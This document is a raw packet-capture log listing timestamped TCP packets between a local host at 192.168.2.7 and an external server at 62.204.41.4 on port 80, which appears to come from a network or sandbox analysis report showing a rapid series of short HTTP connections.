Feb 7, 2023 23:10:13.170852900 CET	80	50416	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.170993090 CET	50416	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.181627035 CET	50416	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.243251085 CET	80	50416	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.246825933 CET	80	50416	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.246941090 CET	50416	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.357963085 CET	50416	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.358989000 CET	50417	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.419593096 CET	80	50417	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.419668913 CET	80	50416	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.419897079 CET	50416	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.423850060 CET	50417	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.425467968 CET	50417	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.486036062 CET	80	50417	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.488778114 CET	80	50417	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.488936901 CET	50417	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.593631983 CET	50417	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.594351053 CET	50418	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.654428005 CET	80	50417	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.654544115 CET	50417	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.656121969 CET	80	50418	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.656296015 CET	50418	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.656697035 CET	50418	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.718614101 CET	80	50418	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.720968008 CET	80	50418	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.721065044 CET	50418	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.827081919 CET	50418	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.836044073 CET	50419	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.889305115 CET	80	50418	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.889523983 CET	50418	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.896718979 CET	80	50419	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.896909952 CET	50419	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.897365093 CET	50419	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:13.957876921 CET	80	50419	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.959821939 CET	80	50419	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:13.959959984 CET	50419	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.088866949 CET	50419	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.091545105 CET	50420	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.149641991 CET	80	50419	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.149786949 CET	50419	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.153254986 CET	80	50420	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.153464079 CET	50420	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.158818960 CET	50420	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.220411062 CET	80	50420	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.224035978 CET	80	50420	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.224133968 CET	50420	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.343395948 CET	50420	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.343636990 CET	50421	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.405071974 CET	80	50421	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.405119896 CET	80	50420	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.405358076 CET	50420	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.405364037 CET	50421	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.406003952 CET	50421	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.467433929 CET	80	50421	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.470053911 CET	80	50421	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.470189095 CET	50421	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.593410969 CET	50421	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.595088005 CET	50422	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.654968977 CET	80	50421	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.655267954 CET	50421	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.656770945 CET	80	50422	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.656886101 CET	50422	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.657367945 CET	50422	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.719080925 CET	80	50422	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.722737074 CET	80	50422	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.727834940 CET	50422	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.842027903 CET	50422	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.842792988 CET	50423	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.903837919 CET	80	50422	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.903964043 CET	80	50423	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.904124022 CET	50422	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.904225111 CET	50423	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.904731989 CET	50423	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:14.966121912 CET	80	50423	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.969476938 CET	80	50423	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:14.969724894 CET	50423	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.076453924 CET	50423	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.077100992 CET	50424	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.137172937 CET	80	50424	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.138006926 CET	80	50423	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.138010979 CET	50424	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.138173103 CET	50423	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.140263081 CET	50424	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.200123072 CET	80	50424	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.204756975 CET	80	50424	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.206538916 CET	50424	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.309668064 CET	50424	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.310467005 CET	50425	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.369678974 CET	80	50424	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.369775057 CET	50424	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.369868040 CET	80	50425	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.369982958 CET	50425	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.374875069 CET	50425	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.434427977 CET	80	50425	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.437989950 CET	80	50425	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.438076019 CET	50425	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.573857069 CET	50425	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.633517027 CET	80	50425	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.633680105 CET	50425	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.745100021 CET	50426	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.805622101 CET	80	50426	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.805860043 CET	50426	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.811820030 CET	50426	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:15.872309923 CET	80	50426	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.874625921 CET	80	50426	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:15.874921083 CET	50426	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.015288115 CET	50426	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.015993118 CET	50427	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.075716019 CET	80	50426	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.075975895 CET	50426	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.078468084 CET	80	50427	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.078613043 CET	50427	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.088952065 CET	50427	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.151398897 CET	80	50427	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.156971931 CET	80	50427	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.157119036 CET	50427	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.265752077 CET	50427	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.266786098 CET	50428	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.328202963 CET	80	50427	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.328408957 CET	50427	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.329309940 CET	80	50428	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.329596996 CET	50428	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.360692978 CET	50428	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.423619986 CET	80	50428	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.426949024 CET	80	50428	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.428112984 CET	50428	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.933435917 CET	50428	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:16.996105909 CET	80	50428	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:16.998737097 CET	50428	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.011271954 CET	50429	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.071665049 CET	80	50429	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:17.071887970 CET	50429	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.103178024 CET	50429	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.163600922 CET	80	50429	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:17.167263985 CET	80	50429	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:17.167362928 CET	50429	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.501348019 CET	50429	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.502665997 CET	50430	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.562510014 CET	80	50429	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:17.562680006 CET	50429	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:17.565144062 CET	80	50430	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:17.565296888 CET	50430	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.142734051 CET	50430	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.204334021 CET	80	50430	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.207896948 CET	80	50430	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.208154917 CET	50430	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.382942915 CET	50430	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.383802891 CET	50431	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.444685936 CET	80	50430	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.444859982 CET	50430	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.445403099 CET	80	50431	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.445538998 CET	50431	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.720531940 CET	50431	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.782198906 CET	80	50431	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.785145998 CET	80	50431	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.785353899 CET	50431	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.909307003 CET	50431	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.910052061 CET	50432	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.971165895 CET	80	50431	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.971378088 CET	50431	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.973026991 CET	80	50432	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:18.973175049 CET	50432	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:18.991988897 CET	50432	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.052464962 CET	80	50432	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.058875084 CET	80	50432	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.058986902 CET	50432	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.171902895 CET	50432	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.172616005 CET	50433	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.232676029 CET	80	50432	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.232754946 CET	50432	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.233047962 CET	80	50433	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.233314037 CET	50433	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.240531921 CET	50433	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.301559925 CET	80	50433	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.304296017 CET	80	50433	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.304620981 CET	50433	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.427269936 CET	50433	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.428157091 CET	50434	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.487838030 CET	80	50433	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.487920046 CET	50433	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.488519907 CET	80	50434	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.488615036 CET	50434	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.489028931 CET	50434	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.549527884 CET	80	50434	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.552669048 CET	80	50434	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.552757978 CET	50434	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.669492006 CET	50434	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.670253992 CET	50435	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.730166912 CET	80	50434	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.730273008 CET	50434	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.731482983 CET	80	50435	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.731616020 CET	50435	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.733664036 CET	50435	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.795027018 CET	80	50435	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.798017025 CET	80	50435	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.798124075 CET	50435	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.905314922 CET	50435	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.906893015 CET	50436	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.966907978 CET	80	50435	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.967021942 CET	50435	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.969407082 CET	80	50436	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:19.969584942 CET	50436	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:19.971883059 CET	50436	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.034667015 CET	80	50436	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.039480925 CET	80	50436	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.039724112 CET	50436	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.154640913 CET	50436	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.155762911 CET	50437	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.217236996 CET	80	50436	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.217379093 CET	80	50437	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.217432976 CET	50436	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.217492104 CET	50437	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.219041109 CET	50437	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.280656099 CET	80	50437	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.282939911 CET	80	50437	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.283173084 CET	50437	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.389571905 CET	50437	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.405596018 CET	50438	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.451474905 CET	80	50437	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.454489946 CET	50437	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.465290070 CET	80	50438	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.465812922 CET	50438	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.467632055 CET	50438	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.527669907 CET	80	50438	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.530093908 CET	80	50438	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.530251026 CET	50438	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.638247013 CET	50438	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.645982027 CET	50439	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.698023081 CET	80	50438	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.698410988 CET	50438	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.706495047 CET	80	50439	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.712301970 CET	50439	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.713212013 CET	50439	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.773622990 CET	80	50439	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.776303053 CET	80	50439	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.776438951 CET	50439	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.889372110 CET	50439	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.890569925 CET	50440	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.950123072 CET	80	50439	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.950151920 CET	80	50440	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:20.950330973 CET	50439	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.950875044 CET	50440	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:20.951914072 CET	50440	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.011440039 CET	80	50440	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.013782978 CET	80	50440	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.013945103 CET	50440	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.123176098 CET	50440	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.124196053 CET	50441	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.183285952 CET	80	50440	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.185823917 CET	80	50441	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.185978889 CET	50440	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.186023951 CET	50441	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.186453104 CET	50441	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.248228073 CET	80	50441	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.252027988 CET	80	50441	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.254383087 CET	50441	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.372519016 CET	50441	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.373634100 CET	50442	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.433037043 CET	80	50442	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.433315039 CET	50442	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.434130907 CET	50442	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.434190989 CET	80	50441	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.434314966 CET	50441	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.493388891 CET	80	50442	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.496160984 CET	80	50442	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.496335983 CET	50442	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.608310938 CET	50442	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.609457970 CET	50443	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.667742014 CET	80	50442	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.667823076 CET	50442	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.669197083 CET	80	50443	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.669290066 CET	50443	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.669847965 CET	50443	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.729655981 CET	80	50443	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.732448101 CET	80	50443	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.732556105 CET	50443	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.850181103 CET	50443	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.850915909 CET	50444	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.909951925 CET	80	50443	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.910118103 CET	50443	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.911514044 CET	80	50444	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.911648989 CET	50444	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.912070990 CET	50444	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:21.972438097 CET	80	50444	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.975343943 CET	80	50444	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:21.975580931 CET	50444	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.100960970 CET	50444	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.101757050 CET	50445	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.161577940 CET	80	50444	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.161675930 CET	50444	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.164118052 CET	80	50445	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.164365053 CET	50445	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.165070057 CET	50445	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.227499962 CET	80	50445	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.231156111 CET	80	50445	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.231251001 CET	50445	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.343462944 CET	50445	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.345145941 CET	50446	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.406008959 CET	80	50445	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.406101942 CET	50445	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.407336950 CET	80	50446	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.407454967 CET	50446	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.408032894 CET	50446	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.470782995 CET	80	50446	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.473037004 CET	80	50446	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.473146915 CET	50446	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.580215931 CET	50446	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.580986023 CET	50447	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.642679930 CET	80	50447	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.642806053 CET	80	50446	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.642838001 CET	50447	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.642895937 CET	50446	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.643399954 CET	50447	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.704864979 CET	80	50447	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.707236052 CET	80	50447	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.707362890 CET	50447	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.825812101 CET	50447	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.829703093 CET	50448	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.887631893 CET	80	50447	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.887751102 CET	50447	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.891691923 CET	80	50448	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.891813993 CET	50448	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.892314911 CET	50448	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:22.954142094 CET	80	50448	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.956516027 CET	80	50448	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:22.956619024 CET	50448	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.060513973 CET	50448	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.061373949 CET	50449	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.122658968 CET	80	50448	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.122950077 CET	80	50449	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.122956038 CET	50448	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.123095989 CET	50449	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.123641014 CET	50449	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.185137033 CET	80	50449	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.188611031 CET	80	50449	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.188841105 CET	50449	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.297234058 CET	50449	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.298399925 CET	50450	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:10:23.359035015 CET	80	50449	62.204.41.4	192.168.2.7
Feb 7, 2023 23:10:23.359704971 CET	50449	80	192.168.2.7	62.204.41.4
